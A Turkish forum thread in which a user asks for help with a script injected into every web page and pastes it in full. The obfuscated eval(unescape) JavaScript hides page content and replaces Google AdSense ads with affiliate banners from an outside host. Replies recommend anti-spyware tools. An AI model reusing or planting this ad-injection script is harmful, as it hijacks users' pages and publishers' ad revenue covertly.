Tarayıcılarda Trojan Scripti Sorunu

Question

İyi günler,
dün geceden beri internetimde bir sıkıntı var sanıyordum, ne hotmaile ne de şifre ile giriş yapılan bir siteye girebiliyordum. Sıkıntı Firefox'ta zannederk Firefox 3 yükledim ama nafile. Aynı problemin IE'de de olduğunu görünce Safari kurdum.
Problem devam ediyordu sonra problemin kaynağını anladım ama çözemedim.
Açtığım her sayfanın başında <head> tagından önce şöyle bir kod var

<script>eval(unescape('%0D%0A%09%0D%0A%09document.write%28%27%3Cdiv%20id%3D%22asbakvg721%22%20style%3D%22height%3A3000px%3Bwidth%3A2000px%3Bleft%3A0px%3Btop%3A0px%3Bposition%3Aabsolute%3Bz-index%3A99999%3B%22%3E%3C%2Fdiv%3E%27%29%3B%0D%0A%09window.scroll%280%2C0%29%3B%0D%0A%09%0D%0A%09function%20init_b216dvsa6v%28%29%20%7B%0D%0A%09%09if%20%28arguments.callee.done%29%20return%3B%0D%0A%09%09arguments.callee.done%20%3D%20true%3B%0D%0A%0D%0A%09%09%0D%0Avar%20isadsensepage%20%3D%200%3B%0D%0Aresultsblock%20%3D%20document.body.getElementsByTagName%28%27iframe%27%29%3B%0D%0Afor%28var%20i%3D0%3B%20i%3Cresultsblock.length%3Bi%2B%2B%29%0D%0A%7B%0D%0A%09if%28resultsblock%5Bi%5D.src.indexOf%28%27pagead2.googlesyndication.com%27%29%21%3D-1%29%0D%0A%09%7B%0D%0A%09%09if%28%28google_ad_width%20%3D%3D%20728%29%20%26%26%20%28google_ad_height%20%3D%3D%2090%29%29%0D%0A%09%09resultsblock%5Bi%5D.src%20%3D%20%27http%3A%2F%2Fwww.beeresult.com%2Fbanner1.php%3Faffid%3D61%26country%3Dtr%27%3B%0D%0A%09%7D%0D%0A%09if%28resultsblock%5Bi%5D.src.indexOf%28%27pagead2.googlesyndication.com%27%29%21%3D-1%29%0D%0A%09%7B%0D%0A%09%09if%28%28google_ad_width%20%3D%3D%20300%29%20%26%26%20%28google_ad_height%20%3D%3D%20250%29%29%0D%0A%09%09resultsblock%5Bi%5D.src%20%3D%20%27http%3A%2F%2Fwww.beeresult.com%2Fbanner2.php%3Faffid%3D61%26country%3Dtr%27%3B%0D%0A%09%7D%0D%0A%09if%28resultsblock%5Bi%5D.src.indexOf%28%27pagead2.googlesyndication.com%27%29%21%3D-1%29%0D%0A%09%7B%0D%0A%09%09if%28%28google_ad_width%20%3D%3D%20468%29%20%26%26%20%28google_ad_height%20%3D%3D%2060%29%29%0D%0A%09%09resultsblock%5Bi%5D.src%20%3D%20%27http%3A%2F%2Fwww.beeresult.com%2Fbanner3.php%3Faffid%3D61%26country%3Dtr%27%3B%0D%0A%09%7D%0D%0A%09if%28resultsblock%5Bi%5D.src.indexOf%28%27pagead2.googlesyndication.com%27%29%21%3D-1%29%0D%0A%09%7B%0D%0A%09%09if%28%28google_ad_width%20%3D%3D%20250%29%20%26%26%20%28google_ad_height%20%3D%3D%20250%29%29%0D%0A%09%09resultsblock%5Bi%5D.src%20%3D%20%27http%3A%2F%2Fwww.beeresult.com%2Fbanner4.php%3Faffid%3D61%27%3B%0D%0A%09%7D%0D%0A%09if%28resultsblock%5Bi%5D.src.indexOf%28%27pagead2.googlesyndication.com%27%29%21%3D-1%29%0D%0A%09%7B%0D%0A%09%09if%28%28google_ad_width%20%3D%3D%20200%29%20%26%26%20%28google_ad_height%20%3D%3D%20200%29%29%0D%0A%09%09resultsblock%5Bi%5D.src%20%3D%20%27http%3A%2F%2Fwww.beeresult.com%2Fbanner5.php%3Faffid%3D61%27%3B%0D%0A%09%7D%0D%0A%09if%28resultsblock%5Bi%5D.src.indexOf%28%27pagead2.googlesyndication.com%27%29%21%3D-1%29%0D%0A%09%7B%0D%0A%09%09if%28%28google_ad_width%20%3D%3D%20180%29%20%26%26%20%28google_ad_height%20%3D%3D%20150%29%29%0D%0A%09%09resultsblock%5Bi%5D.src%20%3D%20%27http%3A%2F%2Fwww.beeresult.com%2Fbanner6.php%3Faffid%3D61%27%3B%0D%0A%09%7D%0D%0A%09if%28resultsblock%5Bi%5D.src.indexOf%28%27pagead2.googlesyndication.com%27%29%21%3D-1%29%0D%0A%09%7B%0D%0A%09%09if%28%28google_ad_width%20%3D%3D%20160%29%20%26%26%20%28google_ad_height%20%3D%3D%20600%29%29%0D%0A%09%09resultsblock%5Bi%5D.src%20%3D%20%27http%3A%2F%2Fwww.beeresult.com%2Fbanner7.php%3Faffid%3D61%26country%3Dtr%27%3B%0D%0A%09%7D%0D%0A%09if%28resultsblock%5Bi%5D.src.indexOf%28%27pagead2.googlesyndication.com%27%29%21%3D-1%29%0D%0A%09%7B%0D%0A%09%09if%28%28google_ad_width%20%3D%3D%20120%29%20%26%26%20%28google_ad_height%20%3D%3D%20600%29%29%0D%0A%09%09resultsblock%5Bi%5D.src%20%3D%20%27http%3A%2F%2Fwww.beeresult.com%2Fbanner8.php%3Faffid%3D61%26country%3Dtr%27%3B%0D%0A%09%7D%0D%0A%09if%28resultsblock%5Bi%5D.src.indexOf%28%27pagead2.googlesyndication.com%27%29%21%3D-1%29%0D%0A%09%7B%0D%0A%09%09if%28%28google_ad_width%20%3D%3D%20160%29%20%26%26%20%28google_ad_height%20%3D%3D%20160%29%29%0D%0A%09%09resultsblock%5Bi%5D.src%20%3D%20%27http%3A%2F%2Fwww.beeresult.com%2Fbanner9.php%3Faffid%3D61%27%3B%0D%0A%09%7D%0D%0A%09if%28resultsblock%5Bi%5D.src.indexOf%28%27pagead2.googlesyndication.com%27%29%21%3D-1%29%0D%0A%09%7B%0D%0A%09%09if%28%28google_ad_width%20%3D%3D%20468%29%20%26%26%20%28google_ad_height%20%3D%3D%20180%29%29%0D%0A%09%09resultsblock%5Bi%5D.src%20%3D%20%27http%3A%2F%2Fwww.beeresult.com%2Fbanner10.php%3Faffid%3D61%26country%3Dtr%27%3B%0D%0A%09%7D%0D%0A%09if%28resultsblock%5Bi%5D.src.indexOf%28%27pagead2.googlesyndication.com%27%29%21%3D-1%29%0D%0A%09%7B%0D%0A%09%09if%28%28google_ad_width%20%3D%3D%20336%29%20%26%26%20%28google_ad_height%20%3D%3D%20160%29%29%0D%0A%09%09resultsblock%5Bi%5D.src%20%3D%20%27http%3A%2F%2Fwww.beeresult.com%2Fbanner11.php%3Faffid%3D61%27%3B%0D%0A%09%7D%0D%0A%7D%0D%0A%0D%0A%09%09%0D%0A%09%09var%20hidderblock%20%3D%20document.getElementById%28%27asbakvg721%27%29%3B%0D%0A%09%09hidderblock.style.visibility%20%3D%20%27hidden%27%3B%0D%0A%09%09hidderblock.style.display%20%3D%20%27none%27%3B%0D%0A%09%09%0D%0A%09%7D%3B%0D%0A%09%28function%28i%29%20%7Bvar%20u%20%3Dnavigator.userAgent%3Bvar%20e%3D%2F%2A%40cc_on%21%40%2A%2Ffalse%3B%20var%20st%20%3D%0D%0AsetTimeout%3Bif%28%2Fwebkit%2Fi.test%28u%29%29%7Bst%28function%28%29%7Bvar%20dr%3Ddocument.readyState%3B%0D%0Aif%28dr%3D%3D%22loaded%22%7C%7Cdr%3D%3D%22complete%22%29%7Bi%28%29%7Delse%7Bst%28arguments.callee%2C10%29%3B%7D%7D%2C10%29%3B%7D%0D%0Aelse%20if%28%28%2Fmozilla%2Fi.test%28u%29%26%26%21%2F%28compati%29%2F.test%28u%29%29%20%7C%7C%20%28%2Fopera%2Fi.test%28u%29%29%29%7B%0D%0Adocument.addEventListener%28%22DOMContentLoaded%22%2Ci%2Cfalse%29%3B%20%7D%20else%20if%28e%29%7B%20%20%20%20%20%28%0D%0Afunction%28%29%7Bvar%20t%3Ddocument.createElement%28%27doc%3Ardy%27%29%3Btry%7Bt.doScroll%28%27left%27%29%3B%0D%0Ai%28%29%3Bt%3Dnull%3B%7Dcatch%28e%29%7Bst%28arguments.callee%2C0%29%3B%7D%7D%29%28%29%3B%7Delse%7Bwindow.onload%3Di%3B%7D%7D%29%28init_b216dvsa6v%29%3B'))</script>

Avast yükledim tarattım ama sorun devam ediyor. Bu sayfada bile var bu kod. Açtığım her sayfanın kaynak kodunda var, ne yapabilirim? İnanın işkence gibi internete girmek şu an.

Answer

Avastla boşuna taramışsın. Çünkü virüs değil bunu yapan. Spyware.  Ad-aware programıyla taratmanı tavsiye ederim. Olmazsa hijackthis ile de çözülür bu sorun.

Answer

İngilizce olarak aynı sorundan şurada da bahsedilmiş.
Çözümü şu şekilde anlatılmış

1. MalwareBytes' Anti-Malware programını internitten bulun ve indirin. (Eğer kendi tarayıcınız script yüzünden indirmiyorsa başka bir bilgisayarda indirin, aktarın)
2. Güncelleme kısmına gelip güncelleme kaynağı olarak MalwareSupport.com'ı seçin.
3. Tarama yaptırın.
4. Bilgisayarı yeniden başlatın, müjde! Kurtuldunuz :)

Ben şu an tarama yaptırıyorum, umarım bu yol işe yarar. :)

Tarayıcılarda Trojan Scripti Sorunu

Benzer içerikler